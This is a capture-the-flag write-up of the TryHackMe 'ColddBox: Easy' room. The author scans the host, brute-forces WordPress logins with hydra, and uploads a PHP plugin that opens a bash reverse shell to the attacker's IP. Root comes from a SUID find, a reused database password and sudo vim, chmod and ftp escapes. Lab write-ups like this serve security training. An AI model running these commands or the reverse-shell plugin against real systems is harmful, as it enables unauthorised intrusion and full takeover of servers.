ColddBox: Easy [https://tryhackme.com/room/colddboxeasy]
Can you get access and get both flags?
Good Luck!.�
Doubts and / or help in twitter: @C0ldd__ or @ColddSecurity
Thumbnail box image credits, designed by Freepik from www.flaticon.es
Enumeration
Let's break out rustscan .......
rustscan -a ColddBoxEasy -- -sC -sV -oA ColddBoxEasy -v -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/home/tj/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.209.247:80
Open 10.10.209.247:4512
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-06 21:22 GMT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:22
Completed NSE at 21:22, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:22
Completed NSE at 21:22, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:22
Completed NSE at 21:22, 0.00s elapsed
Initiating Ping Scan at 21:22
Scanning 10.10.209.247 [2 ports]
Completed Ping Scan at 21:22, 0.03s elapsed (1 total hosts)
Initiating Connect Scan at 21:22
Scanning ColddBoxEasy (10.10.209.247) [2 ports]
Discovered open port 80/tcp on 10.10.209.247
Discovered open port 4512/tcp on 10.10.209.247
Completed Connect Scan at 21:22, 0.04s elapsed (2 total ports)
Initiating Service scan at 21:22
Scanning 2 services on ColddBoxEasy (10.10.209.247)
Completed Service scan at 21:22, 7.02s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.209.247.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:22
Completed NSE at 21:23, 1.42s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:23
Completed NSE at 21:23, 0.16s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:23
Completed NSE at 21:23, 0.00s elapsed
Nmap scan report for ColddBoxEasy (10.10.209.247)
Host is up, received syn-ack (0.032s latency).
Scanned at 2021-01-06 21:22:52 GMT for 9s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.1.31
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: ColddBox | One more machine
4512/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4e:bf:98:c0:9b:c5:36:80:8c:96:e8:96:95:65:97:3b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDngxJmUFBAeIIIjZkorYEp5ImIX0SOOFtRVgperpxbcxDAosq1rJ6DhWxJyyGo3M+Fx2koAgzkE2d4f2DTGB8sY1NJP1sYOeNphh8c55Psw3Rq4xytY5u1abq6su2a1Dp15zE7kGuROaq2qFot8iGYBVLMMPFB/BRmwBk07zrn8nKPa3yotvuJpERZVKKiSQrLBW87nkPhPzNv5hdRUUFvImigYb4hXTyUveipQ/oji5rIxdHMNKiWwrVO864RekaVPdwnSIfEtVevj1XU/RmG4miIbsy2A7jRU034J8NEI7akDB+lZmdnOIFkfX+qcHKxsoahesXziWw9uBospyhB
| 256 88:17:f1:a8:44:f7:f8:06:2f:d3:4f:73:32:98:c7:c5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKNmVtaTpgUhzxZL3VKgWKq6TDNebAFSbQNy5QxllUb4Gg6URGSWnBOuIzfMAoJPWzOhbRHAHfGCqaAryf81+Z8=
| 256 f2:fc:6c:75:08:20:b1:b2:51:2d:94:d6:94:d7:51:4f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE/fNq/6XnAxR13/jPT28jLWFlqxd+RKSbEgujEaCjEc
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:23
Completed NSE at 21:23, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:23
Completed NSE at 21:23, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:23
Completed NSE at 21:23, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.40 seconds
4512/tcp ssh
We do not yet have a username/password so we will skip this and head over to the web port.
80/tcp http
As we can see from the scan the server is running wordpress and an old version 4.1.31.
80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.1.31
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: ColddBox | One more machine
User Flag
As we are running an old version of wordpress lets break out wpscan
╭─tj at kali in ~/pentest/ctfs/ColddBoxEasy on master✘✘✘ 21-01-06 - 21:32:23
╰─⠠⠵ wpscan --url http://ColddBoxEasy -e vp,vt,u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.12
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://colddboxeasy/ [10.10.209.247]
[+] Started: Wed Jan 6 21:32:41 2021
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://colddboxeasy/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://colddboxeasy/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://colddboxeasy/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.1.31 identified (Insecure, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://colddboxeasy/?feed=rss2, <generator>https://wordpress.org/?v=4.1.31</generator>
| - http://colddboxeasy/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.1.31</generator>
[+] WordPress theme in use: twentyfifteen
| Location: http://colddboxeasy/wp-content/themes/twentyfifteen/
| Last Updated: 2020-12-09T00:00:00.000Z
| Readme: http://colddboxeasy/wp-content/themes/twentyfifteen/readme.txt
| [!] The version is out of date, the latest version is 2.8
| Style URL: http://colddboxeasy/wp-content/themes/twentyfifteen/style.css?ver=4.1.31
| Style Name: Twenty Fifteen
| Style URI: https://wordpress.org/themes/twentyfifteen
| Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple, st...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.0 (80% confidence)
| Found By: Style (Passive Detection)
| - http://colddboxeasy/wp-content/themes/twentyfifteen/style.css?ver=4.1.31, Match: 'Version: 1.0'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:02 <=============================================> (330 / 330) 100.00% Time: 00:00:02
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===============================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] [REDACTED]
| Found By: Rss Generator (Passive Detection)
[+] [REDACTED]
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] [REDACTED]
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] [REDACTED]
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Wed Jan 6 21:32:49 2021
[+] Requests Done: 360
[+] Cached Requests: 37
[+] Data Sent: 93.274 KB
[+] Data Received: 97.168 KB
[+] Memory used: 227.223 MB
[+] Elapsed time: 00:00:08
Ok so we have a few users to look at but vulnerable plugins or themes detected.
- [REDACTED]
- [REDACTED]
- [REDACTED]
- [REDACTED]
Before we try a brute force on any of these lets take a look around the site....
Hydra Wordpress Brute Force
Ok so lets try the RockYou.txt against the users above
╰─⠠⠵ hydra -L wpusers -P /usr/share/wordlists/rockyou.txt colddboxeasy -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
Success we have a password quickly via the above
[80][http-post-form] host: colddboxeasy login: [REDACTED] password: [REDACTED]
Checking the user section of wordpress we can see that we are an admin..
Remote Shell
Having a quick look around in there are no interesting posts or pages so let's do our usual trick of uploading a php reverse shell as a plugin
<?php
/**
* Plugin Name: Wordpress Maint Shell
* Author: Wordpress
**/
exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.9.5.198/4444 0>&1'\")
?>
And start the listener on our box
nc -lvnp 4444
Once we zip up, upload and activate the above php we should get a callback....
connect to [10.9.5.198] from (UNKNOWN) [10.10.209.247] 34272
bash: cannot set terminal process group (1402): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ColddBox-Easy:/var/www/html/wp-admin$
www-data@ColddBox-Easy:/var/www/html/wp-admin$
Let's do the usual to get the fancy shell that we do not break with a Ctrl+C ...
www-data@ColddBox-Easy:/var/www/html/wp-admin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
</www/html/wp-admin$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@ColddBox-Easy:/var/www/html/wp-admin$ export TERM=xterm
export TERM=xterm
www-data@ColddBox-Easy:/var/www/html/wp-admin$
www-data@ColddBox-Easy:/var/www/html/wp-admin$ ^Z
[1] + 10211 suspended nc -lvnp 4444
╭─tj at kali in ~/pentest/ctfs/ColddBoxEasy on master✘✘✘ 21-01-06 - 21:54:11
╰─⠠⠵ stty raw -echo; fg
[1] + 10211 continued nc -lvnp 4444
www-data@ColddBox-Easy:/var/www/html/wp-admin$
Display all 1365 possibilities? (y or n)
www-data@ColddBox-Easy:/var/www/html/wp-admin$
Looking around the www directory we see a directory called [REDACTED]
www-data@ColddBox-Easy:/var/www/html/[REDACTED]$ cat index.html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8″ />
<title>Hidden Place</title>
</head>
<body>
<div align="center">
<h1>U-R-G-E-N-T</h1>
<h2>[REDACTED], you changed [REDACTED]'s password, when you can send it to him so he can continue uploading his articles. [REDACTED]</h2>
</div>
</body>
</html>
Interesting we will keep a note of that for later.... Anyway jumping into [REDACTED]'s home directory we have user.txt
Getting the flags
Ok, so I found more than one way to skin this box .....
Method #1 /usr/bin/find
www-data@ColddBox-Easy:/home/[REDACTED]$ cat user.txt
cat: user.txt: Permission denied
Ah well its never that easy anymore..... So we need to priv esc to [REDACTED] to be able to read it, let grab linpeas.sh and see what can find.
The first thing that jumps out as output fly's past is /usr/bin/find under SUID ....
www-data@ColddBox-Easy:/tmp$ ls -l /usr/bin/find
-rwsr-xr-x 1 root root 221768 Feb 8 2016 /usr/bin/find
Checking out GTFOBins ....
So let's give it a try
www-data@ColddBox-Easy:/tmp$ /usr/bin/find . -exec /bin/bash -p \; -quit
bash-4.3# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Ok, so our effective user ID is root so let's grab the flags.
bash-4.3# cat /home/[REDACTED]/user.txt
[REDACTED]
bash-4.3# cat /home/[REDACTED]/user.txt | base64 -d
[REDACTED]
bash-4.3# cat /root/root.txt
[REDACTED]
bash-4.3# cat /root/root.txt | base64 -d
[REDACTED]
Method #2 - Password Re-use
Looking the the web root at wp-config.php we see the credentials below for the database:
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'colddbox');
/** MySQL database username */
define('DB_USER', '[REDACTED]');
/** MySQL database password */
define('DB_PASSWORD', '[REDACTED]');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
As the linux username is the same let's try the password [REDACTED] ...
$ su - [REDACTED]
Password:
That worked! We are now in as [REDACTED] so can read the user.txt
[REDACTED]@ColddBox-Easy:~$ ls
user.txt
[REDACTED]@ColddBox-Easy:~$ cat user.txt
[REDACTED]
Let's take a look if we can run anything as sudo
[REDACTED]@ColddBox-Easy:~$ sudo -l
[sudo] password for [REDACTED]:
Coincidiendo entradas por defecto para [REDACTED] en ColddBox-Easy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
El usuario [REDACTED] puede ejecutar los siguientes comandos en ColddBox-Easy:
(root) /usr/bin/vim
(root) /bin/chmod
(root) /usr/bin/ftp
Ok so we have a few commands there we can run as root...
VIM
https://gtfobins.github.io/gtfobins/vim/#sudo
[REDACTED]@ColddBox-Easy:~$ sudo vim -c ':!/bin/sh'
# id
uid=0(root) gid=0(root) grupos=0(root)
# cat /root/root.txt
[REDACTED]
CHMOD
https://gtfobins.github.io/gtfobins/chmod/#sudo
[REDACTED]@ColddBox-Easy:~$ sudo chmod -R 755 /root; cat /root/root.txt
[REDACTED]
FTP
https://gtfobins.github.io/gtfobins/ftp/#sudo
[REDACTED]@ColddBox-Easy:~$ sudo ftp
ftp> !/bin/bash
root@ColddBox-Easy:~# cat /root/root.txt
[REDACTED]
